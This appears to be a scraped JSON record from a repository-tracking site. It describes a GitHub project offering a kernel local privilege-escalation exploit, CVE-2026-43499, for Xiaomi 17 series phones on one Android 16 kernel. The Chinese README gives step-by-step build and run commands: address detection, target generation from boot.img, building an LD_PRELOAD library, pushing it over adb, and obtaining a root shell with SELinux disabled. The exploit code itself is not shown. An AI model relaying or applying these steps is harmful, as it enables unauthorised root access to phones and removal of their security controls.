[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-93259":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":16,"stars30d":17,"stars90d":15,"forks30d":15,"starsTrendScore":15,"compositeScore":18,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":21,"hasPages":19,"topics":22,"createdAt":10,"pushedAt":10,"updatedAt":23,"readmeContent":24,"aiSummary":25,"trendingCount":15,"starSnapshotCount":15,"syncStatus":26,"lastSyncTime":27,"discoverSource":28},93259,"CVE-2026-43499-popsicle","x-spy\u002FCVE-2026-43499-popsicle","x-spy","CVE-2026-43499 Implementation for 6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k","",null,"C",171,52,1,0,43,70,69.17,false,"main",true,[],"2026-07-22 04:02:08","# CVE-2026-43499 for `popsicle`\n\n该仓库包含 CVE-2026-43499 在 Xiaomi 17 Pro Max（`popsicle`）上的 Android 16 本地提权实现。已验证内核：\n\n```text\n6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k\n```\n\n使用该内核的小米17、Pro以及Ultra系列已验证全部可用。\n\n## Profile\n\nProfile 只包含两个需要从同固件 Root 设备确认的物理地址：\n\n```json\n{\n  \"p0_phys_offset\": \"0x80000000\",\n  \"p0_kernel_phys_load\": \"0xc7800000\"\n}\n```\n\n连接已 Root 的设备后可直接检测：\n\n```sh\npython3 detect_offset.py\n```\n\n## 生成 target\n\n依赖 Python 3 和 `llvm-objdump`：\n\n```sh\npython3 generate_target.py \\\n  --boot boot.img \\\n  --profile profile_机型.json \\\n  -o source\u002Fsrc\u002Ftarget.h\n```\n\n## 编译\n\n```sh\nmake -C source clean preload\n```\n\nNDK 无法自动发现时：\n\n```sh\nNDK_ROOT=\u002Fpath\u002Fto\u002Fandroid-ndk make -C source clean preload\n```\n\n最终产物：\n\n```text\nsource\u002Fbuild\u002Fbin\u002Fpreload.so\n```\n\n## 运行\n\n```sh\nadb push source\u002Fbuild\u002Fbin\u002Fpreload.so \u002Fdata\u002Flocal\u002Ftmp\u002Fpreload.so\nadb shell 'chmod 0644 \u002Fdata\u002Flocal\u002Ftmp\u002Fpreload.so'\nadb shell 'LD_PRELOAD=\u002Fdata\u002Flocal\u002Ftmp\u002Fpreload.so \u002Fsystem\u002Fbin\u002Ftrue'\nadb shell '\u002Fdata\u002Flocal\u002Ftmp\u002Fsu -c id'\n```\n\n成功时可见：\n\n```text\nuid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0\ndirect-root-summary root=1 id=1 su=1\u002F... selinux=1->0 uid=0 euid=0 gid=0 egid=0\n```\n\n利用完成后能够点亮、解锁并进入桌面，但新启动的 Android App 无法完成 Framework 初始化造成闪退；重启后 App 启动恢复正常。\n","该项目是针对小米17系列设备（代号popsicle）在Android 16内核版本上实现CVE-2026-43499本地提权漏洞的利用工具。核心功能包括自动检测物理内存偏移、生成适配目标固件的exploit头文件、编译生成LD_PRELOAD型提权so模块，并通过预加载方式获取root权限。技术特点为纯C实现、依赖已root设备进行地址确认、需配合特定Android 16内核（6.12.23-android16-5-g75e9b1c7ae7c）及NDK编译环境。适用于移动安全研究、固件逆向分析及厂商漏洞验证等场景，不适用于生产环境或未授权设备。",2,"2026-07-14 02:30:07","CREATED_QUERY"]